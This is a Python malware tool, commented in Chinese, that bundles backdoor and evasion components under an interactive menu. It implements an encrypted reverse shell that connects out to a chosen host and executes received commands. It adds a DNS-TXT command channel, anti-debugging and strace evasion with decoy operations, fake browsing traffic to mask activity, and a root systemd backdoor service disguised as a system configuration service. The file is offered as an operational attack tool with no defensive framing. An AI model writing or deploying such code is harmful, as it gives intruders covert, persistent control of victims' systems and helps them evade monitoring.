#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

高级动态行为规避模块
实现网络通信加密、权限操作隐藏、系统调用规避等技术
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import time
import random
import socket
import ssl
import base64
import subprocess
import threading
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Tuple
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

class EncryptedCommunication:
    """加密通信管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.encryption_key = None
        self.ssl_context = None
        
    def setup_encryption(self, password: str = None) -> bool:
        """设置加密"""
        try:
            if not password:
                password = self._generate_random_password()
            
            # 生成加密密钥
            salt = os.urandom(16)
            kdf = PBKDF2HMAC(
                algorithm=hashes.SHA256(),
                length=32,
                salt=salt,
                iterations=100000,
            )
            key = base64.urlsafe_b64encode(kdf.derive(password.encode()))
            self.encryption_key = Fernet(key)
            
            # 设置SSL上下文
            self.ssl_context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
            self.ssl_context.check_hostname = False
            self.ssl_context.verify_mode = ssl.CERT_NONE
            
            print("[+] 加密通信已设置")
            return True
            
        except Exception as e:
            print("[-] 加密设置失败: {}".format(e))
            return False
    
    def create_encrypted_backdoor(self, host: str, port: int) -> bool:
        """创建加密后门"""
        try:
            def encrypted_shell():
                while True:
                    try:
                        # 创建加密连接
                        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        
                        # 使用SSL包装
                        if self.ssl_context:
                            sock = self.ssl_context.wrap_socket(sock)
                        
                        sock.connect((host, port))
                        
                        while True:
                            # 接收加密命令
                            encrypted_data = sock.recv(4096)
                            if not encrypted_data:
                                break
                            
                            try:
                                # 解密命令
                                if self.encryption_key:
                                    command = self.encryption_key.decrypt(encrypted_data).decode()
                                else:
                                    command = encrypted_data.decode()
                                
                                if command.lower() == 'exit':
                                    break
                                
                                # 执行命令
                                result = subprocess.run(command, shell=True, 
                                                      capture_output=True, text=True)
                                output = result.stdout + result.stderr
                                
                                # 加密并发送结果
                                if self.encryption_key:
                                    encrypted_output = self.encryption_key.encrypt(output.encode())
                                else:
                                    encrypted_output = output.encode()
                                
                                sock.send(encrypted_output)
                                
                            except Exception as e:
                                error_msg = "Error: {}".format(str(e))
                                if self.encryption_key:
                                    encrypted_error = self.encryption_key.encrypt(error_msg.encode())
                                else:
                                    encrypted_error = error_msg.encode()
                                sock.send(encrypted_error)
                        
                        sock.close()
                        
                    except Exception:
                        pass
                    
                    # 随机延迟重连
                    time.sleep(random.randint(60, 300))
            
            # 启动加密后门线程
            thread = threading.Thread(target=encrypted_shell, daemon=True)
            thread.start()
            
            print("[+] 加密后门已启动: {}:{}".format(host, port))
            return True
            
        except Exception as e:
            print("[-] 加密后门启动失败: {}".format(e))
            return False
    
    def create_dns_tunnel(self, domain: str) -> bool:
        """创建DNS隧道通信"""
        try:
            def dns_communication():
                while True:
                    try:
                        # 通过DNS查询传输数据
                        import dns.resolver
                        
                        # 查询特定子域名获取命令
                        query_domain = "cmd.{}".format(domain)
                        answers = dns.resolver.resolve(query_domain, 'TXT')
                        
                        for answer in answers:
                            command_data = str(answer).strip('"')
                            
                            # 解码命令
                            try:
                                command = base64.b64decode(command_data).decode()
                                
                                # 执行命令
                                result = subprocess.run(command, shell=True, 
                                                      capture_output=True, text=True)
                                output = result.stdout + result.stderr
                                
                                # 通过DNS响应发送结果
                                encoded_output = base64.b64encode(output.encode()).decode()
                                
                                # 分块发送（DNS限制）
                                chunks = [encoded_output[i:i+200] for i in range(0, len(encoded_output), 200)]
                                
                                for i, chunk in enumerate(chunks):
                                    response_domain = "{}.{}.resp.{}".format(i, chunk, domain)
                                    # 这里需要实际的DNS服务器配合
                                    
                            except Exception:
                                pass
                        
                    except Exception:
                        pass
                    
                    time.sleep(random.randint(30, 120))
            
            thread = threading.Thread(target=dns_communication, daemon=True)
            thread.start()
            
            print("[+] DNS隧道已启动: {}".format(domain))
            return True
            
        except Exception as e:
            print("[-] DNS隧道启动失败: {}".format(e))
            return False
    
    def _generate_random_password(self) -> str:
        """生成随机密码"""
        import string
        chars = string.ascii_letters + string.digits + "!@#$%^&*"
        return ''.join(random.choices(chars, k=16))

class PrivilegeOperationHider:
    """权限操作隐藏器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def stealth_chmod(self, file_path: str, mode: int) -> bool:
        """隐蔽的权限修改"""
        try:
            # 记录原始权限
            original_stat = os.stat(file_path)
            original_mode = original_stat.st_mode
            
            # 分步骤修改权限，避免大幅度变化
            current_mode = original_mode
            target_mode = mode
            
            # 逐步调整权限
            steps = self._calculate_permission_steps(current_mode, target_mode)
            
            for step_mode in steps:
                os.chmod(file_path, step_mode)
                time.sleep(random.uniform(0.1, 0.5))  # 随机延迟
            
            print("[+] 隐蔽权限修改完成: {}".format(file_path))
            return True
            
        except Exception as e:
            print("[-] 隐蔽权限修改失败: {}".format(e))
            return False
    
    def stealth_chown(self, file_path: str, uid: int, gid: int) -> bool:
        """隐蔽的所有者修改"""
        try:
            # 使用系统调用而非直接命令
            import ctypes
            
            # 获取libc
            libc = ctypes.CDLL("libc.so.6")
            
            # 调用chown系统调用
            result = libc.chown(file_path.encode(), uid, gid)
            
            if result == 0:
                print("[+] 隐蔽所有者修改完成: {}".format(file_path))
                return True
            else:
                return False
                
        except Exception as e:
            print("[-] 隐蔽所有者修改失败: {}".format(e))
            return False
    
    def stealth_service_operation(self, service_name: str, operation: str) -> bool:
        """隐蔽的服务操作"""
        try:
            # 避免直接使用systemctl，使用底层接口
            if operation == "enable":
                return self._stealth_enable_service(service_name)
            elif operation == "start":
                return self._stealth_start_service(service_name)
            elif operation == "stop":
                return self._stealth_stop_service(service_name)
            
            return False
            
        except Exception as e:
            print("[-] 隐蔽服务操作失败: {}".format(e))
            return False
    
    def _calculate_permission_steps(self, current: int, target: int) -> List[int]:
        """计算权限修改步骤"""
        steps = []
        
        # 简化实现：直接返回目标权限
        # 实际应该计算中间步骤
        steps.append(target)
        
        return steps
    
    def _stealth_enable_service(self, service_name: str) -> bool:
        """隐蔽启用服务"""
        try:
            # 直接创建符号链接而非使用systemctl
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            target_dir = "/etc/systemd/system/multi-user.target.wants"
            
            if os.path.exists(service_file):
                link_path = os.path.join(target_dir, "{}.service".format(service_name))
                
                if not os.path.exists(link_path):
                    os.symlink(service_file, link_path)
                
                # 重新加载systemd配置
                subprocess.run(['systemctl', 'daemon-reload'], 
                             stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
                
                print("[+] 服务已隐蔽启用: {}".format(service_name))
                return True
            
            return False
            
        except Exception as e:
            print("[-] 隐蔽启用服务失败: {}".format(e))
            return False
    
    def _stealth_start_service(self, service_name: str) -> bool:
        """隐蔽启动服务"""
        try:
            # 使用低级别的服务启动方法
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            
            if os.path.exists(service_file):
                # 读取服务配置
                with open(service_file, 'r') as f:
                    config = f.read()
                
                # 提取ExecStart命令
                import re
                exec_start_match = re.search(r'ExecStart=(.+)', config)
                
                if exec_start_match:
                    command = exec_start_match.group(1)
                    
                    # 直接执行命令而非通过systemctl
                    subprocess.Popen(command, shell=True, 
                                   stdout=subprocess.DEVNULL, 
                                   stderr=subprocess.DEVNULL)
                    
                    print("[+] 服务已隐蔽启动: {}".format(service_name))
                    return True
            
            return False
            
        except Exception as e:
            print("[-] 隐蔽启动服务失败: {}".format(e))
            return False
    
    def _stealth_stop_service(self, service_name: str) -> bool:
        """隐蔽停止服务"""
        try:
            # 查找服务进程并终止
            result = subprocess.run(['pgrep', '-f', service_name], 
                                  capture_output=True, text=True)
            
            if result.returncode == 0:
                pids = result.stdout.strip().split('\n')
                
                for pid in pids:
                    if pid:
                        try:
                            os.kill(int(pid), 15)  # SIGTERM
                            time.sleep(1)
                            os.kill(int(pid), 9)   # SIGKILL
                        except:
                            pass
                
                print("[+] 服务已隐蔽停止: {}".format(service_name))
                return True
            
            return False
            
        except Exception as e:
            print("[-] 隐蔽停止服务失败: {}".format(e))
            return False

class SystemCallEvasion:
    """系统调用规避器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def evade_ptrace_detection(self) -> bool:
        """规避ptrace检测"""
        try:
            import ctypes
            
            # 获取libc
            libc = ctypes.CDLL("libc.so.6")
            
            # 设置PR_SET_DUMPABLE为0，防止被ptrace
            PR_SET_DUMPABLE = 4
            result = libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0)
            
            if result == 0:
                print("[+] ptrace检测规避已启用")
                return True
            
            return False
            
        except Exception as e:
            print("[-] ptrace规避失败: {}".format(e))
            return False
    
    def evade_strace_monitoring(self) -> bool:
        """规避strace监控"""
        try:
            # 检测是否被strace监控
            if self._detect_strace():
                print("[!] 检测到strace监控，启动规避措施")
                
                # 创建子进程执行实际操作
                pid = os.fork()
                
                if pid == 0:
                    # 子进程：执行实际操作
                    self._execute_with_syscall_obfuscation()
                    os._exit(0)
                else:
                    # 父进程：执行无害操作作为掩护
                    self._execute_decoy_operations()
                    os.waitpid(pid, 0)
                
                return True
            
            return False
            
        except Exception as e:
            print("[-] strace规避失败: {}".format(e))
            return False
    
    def _detect_strace(self) -> bool:
        """检测strace监控"""
        try:
            # 检查父进程是否为strace
            ppid = os.getppid()
            
            with open("/proc/{}/comm".format(ppid), 'r') as f:
                parent_name = f.read().strip()
            
            if parent_name in ['strace', 'ltrace']:
                return True
            
            # 检查是否有ptrace附加
            with open("/proc/self/status", 'r') as f:
                status = f.read()
            
            if "TracerPid:\t0" not in status:
                return True
            
            return False
            
        except:
            return False
    
    def _execute_with_syscall_obfuscation(self):
        """使用系统调用混淆执行操作"""
        try:
            import ctypes
            
            # 使用直接系统调用而非库函数
            libc = ctypes.CDLL("libc.so.6")
            
            # 示例：使用syscall直接调用而非高级函数
            # 这里可以实现具体的后门操作
            
            print("[+] 系统调用混淆执行完成")
            
        except Exception as e:
            print("[-] 系统调用混淆失败: {}".format(e))
    
    def _execute_decoy_operations(self):
        """执行诱饵操作"""
        try:
            # 执行一些无害的系统调用作为掩护
            operations = [
                lambda: os.getcwd(),
                lambda: os.getuid(),
                lambda: os.getgid(),
                lambda: time.time(),
                lambda: os.listdir('/tmp')
            ]
            
            for _ in range(10):
                op = random.choice(operations)
                op()
                time.sleep(random.uniform(0.1, 0.3))
            
        except:
            pass

class NetworkTrafficObfuscation:
    """网络流量混淆器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def create_traffic_noise(self, duration: int = 300) -> bool:
        """创建网络流量噪声"""
        try:
            def generate_noise():
                legitimate_domains = [
                    "google.com", "microsoft.com", "ubuntu.com",
                    "github.com", "stackoverflow.com", "wikipedia.org"
                ]
                
                end_time = time.time() + duration
                
                while time.time() < end_time:
                    try:
                        # 随机选择域名
                        domain = random.choice(legitimate_domains)
                        
                        # 创建正常的HTTP请求
                        import urllib.request



                        
                        req = urllib.request.Request("https://{}".format(domain))
                        req.add_header('User-Agent', self._get_random_user_agent())
                        
                        with urllib.request.urlopen(req, timeout=5) as response:
                            # 读取部分数据
                            response.read(1024)
                        
                        # 随机延迟
                        time.sleep(random.uniform(1, 10))
                        
                    except:
                        pass
            
            # 启动流量噪声生成线程
            thread = threading.Thread(target=generate_noise, daemon=True)
            thread.start()
            
            print("[+] 网络流量噪声已启动，持续 {} 秒".format(duration))
            return True
            
        except Exception as e:
            print("[-] 流量噪声生成失败: {}".format(e))
            return False
    
    def _get_random_user_agent(self) -> str:
        """获取随机User-Agent"""
        user_agents = [
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
        ]
        
        return random.choice(user_agents)

class AdvancedBehaviorEvasionManager:
    """高级动态行为规避总管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.encrypted_comm = EncryptedCommunication(config)
        self.privilege_hider = PrivilegeOperationHider(config)
        self.syscall_evasion = SystemCallEvasion(config)
        self.traffic_obfuscation = NetworkTrafficObfuscation(config)
        
    def deploy_comprehensive_evasion(self, host: str, port: int) -> Dict[str, bool]:
        """部署全面的行为规避"""
        results = {}
        
        print("\n[*] 部署高级动态行为规避...")
        
        # 1. 设置加密通信
        print("[*] 设置加密通信...")
        self.encrypted_comm.setup_encryption()
        results['encrypted_comm'] = self.encrypted_comm.create_encrypted_backdoor(host, port)
        
        # 2. 启用系统调用规避
        print("[*] 启用系统调用规避...")
        results['ptrace_evasion'] = self.syscall_evasion.evade_ptrace_detection()
        results['strace_evasion'] = self.syscall_evasion.evade_strace_monitoring()
        
        # 3. 启动网络流量混淆
        print("[*] 启动网络流量混淆...")
        results['traffic_noise'] = self.traffic_obfuscation.create_traffic_noise()
        
        return results
    
    def stealth_privilege_escalation(self, target_file: str) -> bool:
        """隐蔽权限提升"""
        try:
            print("[*] 对文件进行隐蔽权限操作: {}".format(target_file))
            
            # 隐蔽修改权限
            result = self.privilege_hider.stealth_chmod(target_file, 0o755)
            
            if result:
                print("[+] 隐蔽权限提升完成")
            
            return result
            
        except Exception as e:
            print("[-] 隐蔽权限提升失败: {}".format(e))
            return False
    
    def create_evasive_backdoor_service(self, service_name: str, backdoor_script: str) -> bool:
        """创建规避性后门服务"""
        try:
            # 创建服务文件
            service_content = f"""[Unit]
Description=System Configuration Service
After=network.target

[Service]
Type=forking
ExecStart={backdoor_script}
Restart=always
RestartSec=30
User=root

[Install]
WantedBy=multi-user.target
"""
            
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            
            with open(service_file, 'w') as f:
                f.write(service_content)
            
            # 使用隐蔽方式启用服务
            self.privilege_hider.stealth_service_operation(service_name, "enable")
            self.privilege_hider.stealth_service_operation(service_name, "start")
            
            print("[+] 规避性后门服务已创建: {}".format(service_name))
            return True
            
        except Exception as e:
            print("[-] 规避性服务创建失败: {}".format(e))
            return False

def main():
    """主函数"""
    config = {
        'encryption_enabled': True,
        'traffic_noise_duration': 300,
        'syscall_evasion': True
    }
    
    evasion_manager = AdvancedBehaviorEvasionManager(config)
    
    print("=== 高级动态行为规避工具 ===")
    print("1. 部署全面行为规避")
    print("2. 创建加密后门")
    print("3. 隐蔽权限操作")
    print("4. 启动流量混淆")
    print("5. 创建规避性服务")
    
    choice = input("请选择操作: ")
    
    if choice == "1":
        host = input("目标主机: ")
        port = int(input("目标端口: "))
        
        results = evasion_manager.deploy_comprehensive_evasion(host, port)
        print("\n部署结果: {}".format(results))
    
    elif choice == "2":
        host = input("目标主机: ")
        port = int(input("目标端口: "))
        
        evasion_manager.encrypted_comm.setup_encryption()
        evasion_manager.encrypted_comm.create_encrypted_backdoor(host, port)
    
    elif choice == "3":
        target_file = input("目标文件路径: ")
        evasion_manager.stealth_privilege_escalation(target_file)
    
    elif choice == "4":
        duration = int(input("流量混淆持续时间(秒) [300]: ") or 300)
        evasion_manager.traffic_obfuscation.create_traffic_noise(duration)
    
    elif choice == "5":
        service_name = input("服务名称: ")
        backdoor_script = input("后门脚本路径: ")
        evasion_manager.create_evasive_backdoor_service(service_name, backdoor_script)
    
    else:
        print("无效选择")

if __name__ == "__main__":
    main()